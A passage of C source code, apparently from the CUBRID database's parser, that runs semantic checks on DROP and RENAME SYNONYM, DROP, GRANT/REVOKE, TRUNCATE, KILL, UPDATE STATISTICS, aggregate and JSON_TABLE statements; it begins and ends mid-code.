if (owner_obj == NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_USER_IS_NOT_IN_DB, owner_name);
return;
}
if (ws_is_same_object (owner_obj, Au_user) == false && au_is_dba_group_member (Au_user) == false)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_NOT_OWNER, "DROP SYNONYM");
return;
}
/* if_exists */
synonym_obj = db_find_synonym (name);
if (synonym_obj == NULL)
{
ASSERT_ERROR ();
if (er_errid () != ER_SYNONYM_NOT_EXIST)
{
return;
}
if (PT_SYNONYM_IF_EXISTS (node) == FALSE)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_NOT_EXIST, name);
return;
}
er_clear ();
}
/* (synonym_obj != NULL) || (synonym_obj == NULL && PT_SYNONYM_IF_EXISTS () == TRUE) */
}
static void
pt_check_rename_synonym (PARSER_CONTEXT * parser, PT_NODE * node)
{
DB_OBJECT *old_synonym_obj = NULL;
DB_OBJECT *new_synonym_obj = NULL;
DB_OBJECT *old_owner_obj = NULL;
DB_OBJECT *new_owner_obj = NULL;
const char *old_name = NULL;
const char *new_name = NULL;
const char *old_owner_name = NULL;
const char *new_owner_name = NULL;
if (parser == NULL || node == NULL)
{
return;
}
assert (node->node_type == PT_RENAME_SYNONYM);
/* syntax is not supported. */
assert (PT_SYNONYM_ACCESS_MODIFIER (node) != PT_PUBLIC);
/* old_synonym_name */
old_name = PT_NAME_ORIGINAL (PT_SYNONYM_OLD_NAME (node));
assert (old_name != NULL && *old_name != '\0');
if (sm_check_system_class_by_name (old_name) == true)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_INVALID_NAME, old_name);
return;
}
/* old_synonym_owner_name */
old_owner_name = PT_NAME_ORIGINAL (PT_SYNONYM_OLD_OWNER_NAME (node));
assert (old_owner_name != NULL && *old_owner_name != '\0');
old_owner_obj = db_find_user (old_owner_name);
if (old_owner_obj == NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_USER_IS_NOT_IN_DB, old_owner_name);
return;
}
if (ws_is_same_object (old_owner_obj, Au_user) == false && au_is_dba_group_member (Au_user) == false)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_NOT_OWNER, "RENAME SYNONYM");
return;
}
old_synonym_obj = db_find_synonym (old_name);
if (old_synonym_obj == NULL)
{
ASSERT_ERROR ();
if (er_errid () == ER_SYNONYM_NOT_EXIST)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_NOT_EXIST, old_name);
}
return;
}
/* old_synonym_obj != NULL */
/* new_synonym_name */
new_name = PT_NAME_ORIGINAL (PT_SYNONYM_NEW_NAME (node));
assert (new_name != NULL && *new_name != '\0');
if (sm_check_system_class_by_name (new_name) == true)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_INVALID_NAME, new_name);
return;
}
/* new_synonym_owner_name */
new_owner_name = PT_NAME_ORIGINAL (PT_SYNONYM_NEW_OWNER_NAME (node));
assert (new_owner_name != NULL && *new_owner_name != '\0');
new_owner_obj = db_find_user (new_owner_name);
if (new_owner_obj == NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_USER_IS_NOT_IN_DB, new_owner_name);
return;
}
if (ws_is_same_object (old_owner_obj, new_owner_obj) == false)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_RENAME_CANNOT_CHANGE_OWNER);
return;
}
new_synonym_obj = db_find_synonym (new_name);
if (new_synonym_obj != NULL)
{
if (ws_is_same_object (old_synonym_obj, new_synonym_obj) == true)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_RENAME_CANNOT_SAME_NAME);
return;
}
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SYNONYM_ALREADY_EXIST, new_name);
return;
}
else
{
/* new_synonym_obj == NULL */
ASSERT_ERROR ();
if (er_errid () == ER_SYNONYM_NOT_EXIST)
{
er_clear ();
}
else
{
return;
}
/* Check if class exists by name. */
if (db_find_class (new_name) != NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_EXISTS, new_name);
return;
}
else
{
ASSERT_ERROR ();
if (er_errid () == ER_LC_UNKNOWN_CLASSNAME)
{
er_clear ();
}
else
{
return;
}
}
}
/* old_synonym_obj != NULL && new_synonym_obj == NULL && er_errid () == ER_LC_UNKNOWN_CLASSNAME */
}
/*
* pt_check_drop () - do semantic checks on the drop statement
* return: none
* parser(in): the parser context used to derive the statement
* node(in): a statement
*/
static void
pt_check_drop (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *temp;
PT_NODE *name;
DB_OBJECT *db_obj;
DB_ATTRIBUTE *attributes;
PT_FLAT_SPEC_INFO info;
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
DB_OBJECT *domain_class;
char *drop_name_list = NULL;
#endif /* ENABLE_UNUSED_FUNCTION */
if (node->info.drop.if_exists)
{
PT_NODE *prev_node, *free_node, *tmp1, *tmp2;
prev_node = free_node = node->info.drop.spec_list;
while ((free_node != NULL) && (free_node->node_type == PT_SPEC))
{
const char *cls_name;
/* check if class name exists. if not, we remove the corresponding node from spec_list. */
if ((name = free_node->info.spec.entity_name) != NULL && name->node_type == PT_NAME
&& (cls_name = name->info.name.original) != NULL)
{
/* We cannot change the schema of a class by using synonym names. */
if (db_find_synonym (cls_name) == NULL)
{
ASSERT_ERROR ();
if (er_errid () == ER_SYNONYM_NOT_EXIST)
{
er_clear ();
}
else
{
return;
}
if ((db_obj = db_find_class_with_purpose (cls_name, true)) != NULL)
{
prev_node = free_node;
free_node = free_node->next;
continue;
}
}
/* db_find_synonym () != NULL || db_find_class_with_purpose () == NULL */
if (free_node == node->info.drop.spec_list)
{
node->info.drop.spec_list = node->info.drop.spec_list->next;
prev_node = free_node->next;
parser_free_node (parser, free_node);
free_node = node->info.drop.spec_list;
}
else
{
prev_node->next = free_node->next;
parser_free_node (parser, free_node);
free_node = prev_node->next;
}
}
else
{
prev_node = free_node;
free_node = free_node->next;
}
}
/* For each class, we check if it has previously been placed in spec_list. We also check if every class has a
* superclass marked with PT_ALL previously placed in spec_list. If any of the two cases above occurs, we mark
* for deletion the corresponding node in spec_list. Marking is done by setting the entity_name as NULL. */
if (node->info.drop.spec_list && (node->info.drop.spec_list)->next)
{
tmp1 = (node->info.drop.spec_list)->next;
while ((tmp1 != NULL) && (tmp1->node_type == PT_SPEC))
{
tmp2 = node->info.drop.spec_list;
while ((tmp2 != NULL) && (tmp2 != tmp1) && (tmp2->node_type == PT_SPEC))
{
DB_OBJECT *db_obj1, *db_obj2;
PT_NODE *name1, *name2;
const char *cls_name1, *cls_name2;
name1 = tmp1->info.spec.entity_name;
name2 = tmp2->info.spec.entity_name;
if (name1 && name2)
{
cls_name1 = name1->info.name.original;
cls_name2 = name2->info.name.original;
db_obj1 = db_find_class_with_purpose (cls_name1, true);
db_obj2 = db_find_class_with_purpose (cls_name2, true);
if ((db_obj1 == db_obj2)
|| ((tmp2->info.spec.only_all == PT_ALL) && db_is_subclass (db_obj1, db_obj2)))
{
parser_free_node (parser, name1);
tmp1->info.spec.entity_name = NULL;
break;
}
}
tmp2 = tmp2->next;
}
tmp1 = tmp1->next;
}
}
/* now we remove the nodes with entity_name NULL */
prev_node = free_node = node->info.drop.spec_list;
while ((free_node != NULL) && (free_node->node_type == PT_SPEC))
{
if ((name = free_node->info.spec.entity_name) == NULL)
{
if (free_node == node->info.drop.spec_list)
{
node->info.drop.spec_list = node->info.drop.spec_list->next;
prev_node = free_node->next;
parser_free_node (parser, free_node);
free_node = node->info.drop.spec_list;
}
else
{
prev_node->next = free_node->next;
parser_free_node (parser, free_node);
free_node = prev_node->next;
}
}
else
{
prev_node = free_node;
free_node = free_node->next;
}
}
}
info.spec_parent = NULL;
info.for_update = true;
/* Replace each Entity Spec with an Equivalent flat list */
parser_walk_tree (parser, node, pt_flat_spec_pre, &info, pt_continue_walk, NULL);
if (node->info.drop.entity_type != PT_MISC_DUMMY || node->info.drop.is_cascade_constraints)
{
const char *cls_nam;
PT_MISC_TYPE typ = node->info.drop.entity_type;
/* verify declared class type is correct */
for (temp = node->info.drop.spec_list; temp && temp->node_type == PT_SPEC; temp = temp->next)
{
if ((name = temp->info.spec.entity_name) != NULL && name->node_type == PT_NAME
&& (cls_nam = name->info.name.original) != NULL)
{
/* We cannot change the schema of a class by using synonym names. */
if (db_find_synonym (cls_nam) != NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_DOES_NOT_EXIST, cls_nam);
return;
}
else
{
/* db_find_synonym () == NULL */
ASSERT_ERROR ();
if (er_errid () == ER_SYNONYM_NOT_EXIST)
{
er_clear ();
}
else
{
return;
}
}
if ((db_obj = db_find_class (cls_nam)) != NULL)
{
if (typ != PT_MISC_DUMMY)
{
name->info.name.db_object = db_obj;
pt_check_user_owns_class (parser, name);
if ((typ == PT_CLASS && db_is_class (db_obj) <= 0)
|| (typ == PT_VCLASS && db_is_vclass (db_obj) <= 0))
{
PT_ERRORmf2 (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_IS_NOT_A, cls_nam,
pt_show_misc_type (typ));
}
}
if (node->info.drop.is_cascade_constraints && db_is_vclass (db_obj) > 0)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_VIEW_CASCADE_CONSTRAINTS_NOT_ALLOWED, cls_nam);
}
}
}
}
}
/* for the classes to drop, check if a TEXT attr is defined on the class, and if defined, drop the reference class
* for the attr */
for (temp = node->info.drop.spec_list; temp && temp->node_type == PT_SPEC; temp = temp->next)
{
const char *cls_nam;
if ((name = temp->info.spec.entity_name) != NULL && name->node_type == PT_NAME
&& (cls_nam = name->info.name.original) != NULL && (db_obj = db_find_class (cls_nam)) != NULL)
{
attributes = db_get_attributes_force (db_obj);
while (attributes)
{
if (db_attribute_type (attributes) == DB_TYPE_OBJECT)
{
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
if (sm_has_text_domain (attributes, 0))
{
domain_class = db_domain_class (db_attribute_domain (attributes));
if (drop_name_list != NULL)
{
drop_name_list = pt_append_string (parser, drop_name_list, ",");
}
drop_name_list = pt_append_string (parser, drop_name_list, db_get_class_name (domain_class));
}
#endif /* ENABLE_UNUSED_FUNCTION */
}
attributes = db_attribute_next (attributes);
}
}
}
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
if (drop_name_list)
{
node->info.drop.internal_stmts =
pt_append_statements_on_drop_attributes (parser, node->info.drop.internal_stmts, drop_name_list);
if (node->info.drop.internal_stmts == NULL)
{
PT_ERRORm (parser, temp, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return;
}
}
#endif /* ENABLE_UNUSED_FUNCTION */
}
/*
* pt_check_grant_revoke () - do semantic checks on the grant statement
* return: none
* parser(in): the parser context used to derive the statement
* node(in): a statement
*/
static void
pt_check_grant_revoke (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *user;
const char *username;
PT_FLAT_SPEC_INFO info;
/* Replace each Entity Spec with an Equivalent flat list */
info.spec_parent = NULL;
info.for_update = false;
parser_walk_tree (parser, node, pt_flat_spec_pre, &info, pt_continue_walk, NULL);
/* make sure the grantees/revokees exist */
for ((user = (node->node_type == PT_GRANT ? node->info.grant.user_list : node->info.revoke.user_list)); user;
user = user->next)
{
if (user->node_type == PT_NAME && (username = user->info.name.original) && !db_find_user (username))
{
PT_ERRORmf (parser, user, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_USER_IS_NOT_IN_DB, username);
}
}
}
/*
* pt_check_method () - semantic checking for method calls in expressions.
* return: none
* parser(in): the parser context used to derive the statement
* node(in): a statement
*/
static void
pt_check_method (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *target;
DB_VALUE val;
const char *method_name;
DB_OBJECT *class_op;
DB_METHOD *method = NULL;
/* Note: it is possible that an error has been raised eariler. An example is that, method_name is NULL due to a
* connection lost, i.e. db_Connect_status is 0, 'MSGCAT_SEMANTIC_METH_NO_TARGET' is set. So we must check error
* first. */
assert (parser != NULL);
if (pt_has_error (parser))
{
return;
}
assert (node != NULL && node->info.method_call.method_name != NULL);
db_make_null (&val);
/* check if call has a target */
target = node->info.method_call.on_call_target;
if (target == NULL)
{
if (jsp_is_exist_stored_procedure (node->info.method_call.method_name->info.name.original))
{
return;
}
else
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_METH_NO_TARGET);
return;
}
}
/* if we have a null target, constant folding has determined we have no target, there is nothing to check. */
if ((target->node_type == PT_VALUE) && (target->type_enum == PT_TYPE_NULL))
{
return;
}
if ((!target->data_type) || (!target->data_type->info.data_type.entity))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_METH_TARGET_NOT_OBJ);
return;
}
if (!(class_op = target->data_type->info.data_type.entity->info.name.db_object))
{
PT_INTERNAL_ERROR (parser, "semantic");
return;
}
method_name = node->info.method_call.method_name->info.name.original;
method = (DB_METHOD *) db_get_method (class_op, method_name);
if (method == NULL)
{
if (er_errid () == ER_OBJ_INVALID_METHOD)
{
er_clear ();
}
method = (DB_METHOD *) db_get_class_method (class_op, method_name);
if (method == NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_METH_DOESNT_EXIST, method_name);
return;
}
else
{
/* Check to see that they are calling the class method on a class object. We check the initial value if it
* is a parameter knowing that the user could change it at run time. We probably need to add runtime checks
* if we are not already doing this. Also we probably shouldn't get PT_VALUES here now that parameters are
* not bound until runtime (but we'll guard against them anyway). */
if (((target->node_type != PT_NAME) || (target->info.name.meta_class != PT_PARAMETER)
|| !pt_eval_path_expr (parser, target, &val) || db_is_instance (db_get_object (&val)) <= 0)
&& target->node_type != PT_VALUE
&& (target->data_type->info.data_type.entity->info.name.meta_class != PT_META_CLASS))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_METH_MIX_CLASS_INST);
return;
}
}
}
else
{
/* Check to see that they are calling the instance method on an instance object. We check the initial value if
* it is a parameter knowing that the user could change it at run time. We probably need to add runtime checks
* if we are not already doing this. Also we probably shouldn't get PT_VALUES here now that parameters are not
* bound until runtime (but we'll guard against them anyway). */
if (((target->node_type != PT_NAME) || (target->info.name.meta_class != PT_PARAMETER)
|| !pt_eval_path_expr (parser, target, &val) || db_is_instance (db_get_object (&val)) <= 0)
&& target->node_type != PT_VALUE
&& (target->data_type->info.data_type.entity->info.name.meta_class != PT_CLASS))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_METH_MIX_INST_CLASS);
return;
}
}
/* check if number of parameters match */
if (db_method_arg_count (method) != pt_length_of_list (node->info.method_call.arg_list))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_METH_ARG_NE_DEFINED);
return;
}
}
/*
* pt_check_truncate () - do semantic checks on the truncate statement
* return: none
* parser(in): the parser context used to derive the statement
* node(in): a statement
*/
static void
pt_check_truncate (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *temp;
PT_NODE *name;
PT_FLAT_SPEC_INFO info;
DB_OBJECT *db_obj;
/* replace entity spec with an equivalent flat list */
info.spec_parent = NULL;
info.for_update = false;
parser_walk_tree (parser, node, pt_flat_spec_pre, &info, pt_continue_walk, NULL);
temp = node->info.truncate.spec;
if (temp && temp->node_type == PT_SPEC)
{
const char *cls_nam;
if ((name = temp->info.spec.entity_name) != NULL && name->node_type == PT_NAME
&& (cls_nam = name->info.name.original) != NULL)
{
/* We cannot change the schema of a class by using synonym names. */
if (db_find_synonym (cls_nam) != NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_DOES_NOT_EXIST, cls_nam);
return;
}
else
{
/* db_find_synonym () == NULL */
ASSERT_ERROR ();
if (er_errid () == ER_SYNONYM_NOT_EXIST)
{
er_clear ();
}
else
{
return;
}
}
if ((db_obj = db_find_class (cls_nam)) != NULL)
{
name->info.name.db_object = db_obj;
pt_check_user_owns_class (parser, name);
if (db_is_class (db_obj) <= 0)
{
PT_ERRORmf2 (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_IS_NOT_A, cls_nam,
pt_show_misc_type (PT_CLASS));
}
}
}
}
}
/*
* pt_check_kill () - do semantic checks on the kill statement
* return: none
* parser(in): the parser context used to derive the statement
* node(in): a statement
*/
static void
pt_check_kill (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *tran_id;
for (tran_id = node->info.killstmt.tran_id_list; tran_id != NULL; tran_id = tran_id->next)
{
if (tran_id->type_enum != PT_TYPE_INTEGER)
{
PT_ERRORm (parser, tran_id, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_TRANSACTION_ID_WANT_INTEGER);
break;
}
}
}
/*
* pt_check_update_stats () - do semantic checks on the UPDATE STATISTICS statement
* return: none
* parser(in): the parser context used to derive the statement
* node(in): a statement
*/
static void
pt_check_update_stats (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *class_name_node;
PT_FLAT_SPEC_INFO info;
assert (node->node_type == PT_UPDATE_STATS);
if (node->info.update_stats.all_classes != 0)
{
/* The following UPDATE STATISTICS statements do not need to be checked because class names are not used.
* - UPDATE STATISTICS ON ALL CLASSES : (PT_NODE *)->info.update_stats.all_classes == 1
* - UPDATE STATISTICS ON CATALOG CLASSES : (PT_NODE *)->info.update_stats.all_classes == -1
*/
return;
}
/* replace entity spec with an equivalent flat list */
info.spec_parent = NULL;
info.for_update = false;
parser_walk_tree (parser, node, pt_flat_spec_pre, &info, pt_continue_walk, NULL);
for (class_name_node = node->info.update_stats.class_list; class_name_node != NULL;
class_name_node = class_name_node->next)
{
assert (class_name_node->node_type == PT_NAME);
assert (class_name_node->info.name.original != NULL);
const char *class_name = class_name_node->info.name.original;
/* The use of synonyms is not allowed in the update statistics statement. */
if (db_find_synonym (class_name) != NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_DOES_NOT_EXIST, class_name);
return;
}
else
{
/* db_find_synonym () == NULL */
ASSERT_ERROR ();
if (er_errid () == ER_SYNONYM_NOT_EXIST)
{
er_clear ();
}
else
{
return;
}
}
}
}
/*
* pt_check_single_valued_node () - looks for names outside an aggregate
* which are not in group by list. If it finds one, raises an error
* return:
* parser(in):
* node(in):
* arg(in/out):
* continue_walk(in/out):
*/
static PT_NODE *
pt_check_single_valued_node (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
PT_AGG_CHECK_INFO *info = (PT_AGG_CHECK_INFO *) arg;
PT_NODE *spec, *arg2, *group, *expr;
char *node_str;
*continue_walk = PT_CONTINUE_WALK;
if (pt_is_aggregate_function (parser, node))
{
*continue_walk = PT_LIST_WALK;
}
else if (node->node_type == PT_SELECT)
{
/* Can not increment level for list portion of walk. Since those queries are not sub-queries of this query.
* Consequently, we recurse separately for the list leading from a query. Can't just call
* pt_to_uncorr_subquery_list() directly since it needs to do a leaf walk and we want to do a full walk on the
* next list. */
if (node->next)
{
(void) parser_walk_tree (parser, node->next, pt_check_single_valued_node, info,
pt_check_single_valued_node_post, info);
}
/* don't get confused by uncorrelated, set-derived subqueries. */
if (node->info.query.correlation_level == 0 && (spec = node->info.query.q.select.from)
&& spec->info.spec.derived_table && spec->info.spec.derived_table_type == PT_IS_SET_EXPR)
{
/* no need to dive into the uncorrelated subquery */
*continue_walk = PT_STOP_WALK;
}
else
{
*continue_walk = PT_LEAF_WALK;
}
/* increase query depth as we dive into subqueries */
info->depth++;
}
else
{
switch (node->node_type)
{
case PT_NAME:
*continue_walk = PT_LIST_WALK;
if (pt_find_spec (parser, info->from, node) && pt_find_attribute (parser, node, info->group_by) < 0)
{
if ((!PT_IS_OID_NAME (node) || parser->oid_included != PT_INCLUDE_OID_TRUSTME)
&& !PT_IS_CLASSOID_NAME (node) && node->info.name.meta_class != PT_METHOD
&& node->info.name.meta_class != PT_META_ATTR && node->info.name.meta_class != PT_META_CLASS
&& node->info.name.meta_class != PT_PARAMETER)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NOT_SINGLE_VALUED,
pt_short_print (parser, node));
}
}
break;
case PT_DOT_:
*continue_walk = PT_LIST_WALK;
if ((arg2 = node->info.dot.arg2) && pt_find_spec (parser, info->from, arg2)
&& (pt_find_attribute (parser, arg2, info->group_by) < 0))
{
if (!PT_IS_OID_NAME (node->info.dot.arg2) || parser->oid_included != PT_INCLUDE_OID_TRUSTME)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NOT_SINGLE_VALUED,
pt_short_print (parser, node));
}
}
break;
case PT_VALUE:
/* watch out for parameters of type object--don't walk their data_type list */
*continue_walk = PT_LIST_WALK;
break;
case PT_EXPR:
if (node->info.expr.op == PT_INST_NUM || node->info.expr.op == PT_ROWNUM || node->info.expr.op == PT_PRIOR
|| node->info.expr.op == PT_CONNECT_BY_ROOT || node->info.expr.op == PT_SYS_CONNECT_BY_PATH)
{
if (info->depth == 0)
{ /* not in subqueries */
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NOT_SINGLE_VALUED,
pt_short_print (parser, node));
}
}
else if (node->info.expr.op == PT_LEVEL || node->info.expr.op == PT_CONNECT_BY_ISCYCLE
|| node->info.expr.op == PT_CONNECT_BY_ISLEAF)
{
if (info->depth == 0)
{ /* not in subqueries */
for (group = info->group_by; group; group = group->next)
{
expr = group->info.sort_spec.expr;
if (expr->node_type == PT_EXPR && expr->info.expr.op == node->info.expr.op)
{
break;
}
}
if (group == NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NOT_SINGLE_VALUED,
pt_short_print (parser, node));
}
}
}
else
{
unsigned int save_custom;
save_custom = parser->custom_print; /* save */
parser->custom_print |= PT_CONVERT_RANGE;
node_str = parser_print_tree (parser, node);
for (group = info->group_by; group; group = group->next)
{
expr = group->info.sort_spec.expr;
if (expr->node_type == PT_EXPR && pt_str_compare (node_str, expr->alias_print, CASE_INSENSITIVE) == 0)
{
/* find matched expression */
*continue_walk = PT_LIST_WALK;
break;
}
}
parser->custom_print = save_custom; /* restore */
}
break;
default:
break;
}
}
return node;
}
/*
* pt_check_single_valued_node_post () -
* return:
* parser(in):
* node(in):
* arg(in/out):
* continue_walk(in/out):
*/
static PT_NODE *
pt_check_single_valued_node_post (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
PT_AGG_CHECK_INFO *info = (PT_AGG_CHECK_INFO *) arg;
*continue_walk = PT_CONTINUE_WALK;
if (node->node_type == PT_SELECT)
{
info->depth--; /* decrease query depth */
}
return node;
}
/*
* pt_check_into_clause () - check arity of any into_clause
* equals arity of query
* return: none
* parser(in): the parser context used to derive the statement
* qry(in): a SELECT/UNION/INTERSECTION/DIFFERENCE statement
*/
static void
pt_check_into_clause (PARSER_CONTEXT * parser, PT_NODE * qry)
{
PT_NODE *into;
int tgt_cnt, col_cnt;
assert (parser != NULL);
if (!qry)
return;
if (!(into = qry->info.query.into_list))
return;
if (qry->info.query.is_subquery != 0)
{
/* current query execution mechanism can not handle select_into inside subqueries, since only the results of
* the main query are available on the client, where the select_into assignment is done
*/
PT_ERRORm (parser, qry, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SELECT_INTO_IN_SUBQUERY);
}
tgt_cnt = pt_length_of_list (into);
col_cnt = pt_length_of_select_list (pt_get_select_list (parser, qry), EXCLUDE_HIDDEN_COLUMNS);
if (tgt_cnt != col_cnt)
{
PT_ERRORmf2 (parser, into, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_COL_CNT_NE_INTO_CNT, col_cnt, tgt_cnt);
}
}
static int
pt_normalize_path (PARSER_CONTEXT * parser, REFPTR (char, c))
{
std::string normalized_path;
int error_code = db_json_normalize_path_string (c, normalized_path);
if (error_code != NO_ERROR)
{
return error_code;
}
char *normalized = (char *) parser_alloc (parser, (int) (normalized_path.length () + 1) * sizeof (char));
strcpy (normalized, normalized_path.c_str ());
c = normalized;
return NO_ERROR;
}
static int
pt_json_str_codeset_normalization (PARSER_CONTEXT * parser, REFPTR (char, c))
{
DB_VALUE res_str, temp;
db_make_string (&temp, c);
int error_code = db_string_convert_to (&temp, &res_str, INTL_CODESET_UTF8, LANG_COLL_UTF8_BINARY);
if (error_code != NO_ERROR)
{
pr_clear_value (&res_str);
ASSERT_ERROR ();
return error_code;
}
c = (char *) parser_alloc (parser, db_get_string_size (&res_str));
strcpy (c, db_get_string (&res_str));
pr_clear_value (&res_str);
return NO_ERROR;
}
/*
* pt_check_json_table_node () - check json_table's paths and type check ON_ERROR & ON_EMPTY
*
* return: NO_ERROR or ER_JSON_INVALID_PATH
* node(in): json_table node
*/
static int
pt_check_json_table_node (PARSER_CONTEXT * parser, PT_NODE * node)
{
assert (node != NULL && node->node_type == PT_JSON_TABLE_NODE);
int error_code = pt_json_str_codeset_normalization (parser, node->info.json_table_node_info.path);
if (error_code != NO_ERROR)
{
return error_code;
}
error_code = pt_normalize_path (parser, node->info.json_table_node_info.path);
if (error_code != NO_ERROR)
{
return error_code;
}
for (PT_NODE * col = node->info.json_table_node_info.columns; col; col = col->next)
{
PT_JSON_TABLE_COLUMN_INFO & col_info = col->info.json_table_column_info;
if (col_info.on_empty.m_behavior == JSON_TABLE_DEFAULT_VALUE)
{
assert (col_info.on_empty.m_default_value != NULL);
if (DB_IS_STRING (col_info.on_empty.m_default_value))
{
error_code = db_json_convert_to_utf8 (col_info.on_empty.m_default_value);
if (error_code != NO_ERROR)
{
return NO_ERROR;
}
}
TP_DOMAIN *domain = pt_xasl_node_to_domain (parser, col);
TP_DOMAIN_STATUS status_cast =
tp_value_cast (col_info.on_empty.m_default_value, col_info.on_empty.m_default_value, domain, false);
if (status_cast != DOMAIN_COMPATIBLE)
{
return tp_domain_status_er_set (status_cast, ARG_FILE_LINE, col_info.on_empty.m_default_value, domain);
}
}
if (col_info.on_error.m_behavior == JSON_TABLE_DEFAULT_VALUE)
{
assert (col_info.on_error.m_default_value != NULL);
if (DB_IS_STRING (col_info.on_error.m_default_value))
{
error_code = db_json_convert_to_utf8 (col_info.on_error.m_default_value);
if (error_code != NO_ERROR)
{
return NO_ERROR;
}
}
TP_DOMAIN *domain = pt_xasl_node_to_domain (parser, col);
TP_DOMAIN_STATUS status_cast =
tp_value_cast (col_info.on_error.m_default_value, col_info.on_error.m_default_value, domain, false);
if (status_cast != DOMAIN_COMPATIBLE)
{
return tp_domain_status_er_set (status_cast, ARG_FILE_LINE, col_info.on_error.m_default_value, domain);
}
}
if (col_info.func == JSON_TABLE_ORDINALITY)
{
// ORDINALITY columns do not have a path
assert (col_info.path == NULL);
continue;
}
error_code = pt_normalize_path (parser, col_info.path);
if (error_code)
{
return error_code;
}
}
for (PT_NODE * nested_col = node->info.json_table_node_info.nested_paths; nested_col; nested_col = nested_col->next)
{
error_code = pt_check_json_table_node (parser, nested_col);
if (error_code)
{
return error_code;
}
}
return NO_ERROR;
}
/*
* pt_semantic_check_local () - checks semantics on a particular statement
* return:
* parser(in):
* node(in):
* arg(in):
* continue_walk(in):
*/
static PT_NODE *
pt_semantic_check_local (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
SEMANTIC_CHK_INFO *info = (SEMANTIC_CHK_INFO *) arg;
PT_NODE *next, *top_node = info->top_node;
PT_NODE *orig = node;
PT_NODE *t_node;
PT_NODE *entity, *derived_table;
PT_ASSIGNMENTS_HELPER ea;
STATEMENT_SET_FOLD fold_as;
PT_FUNCTION_INFO *func_info_p = NULL;
assert (parser != NULL);
if (!node)
return NULL;
next = node->next;
node->next = NULL;
switch (node->node_type)
{
/* Every type of node that can appear at the highest level should be listed here, unless no semantic check is
* required. */
case PT_DELETE:
if (top_node->flag.cannot_prepare == 1)
{
node->flag.cannot_prepare = 1;
}
entity = NULL;
/* Make sure that none of the classes that are subject for delete is a derived table */
t_node = node->info.delete_.target_classes;
if (t_node == NULL)
{
/* this is not a multi-table delete; check all specs for derived tables */
entity = node->info.delete_.spec;
while (entity)
{
assert (entity->node_type == PT_SPEC);
if (entity->info.spec.derived_table != NULL)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DELETE_DERIVED_TABLE);
break;
}
}
}
else
{
/* multi-table delete */
while (t_node)
{
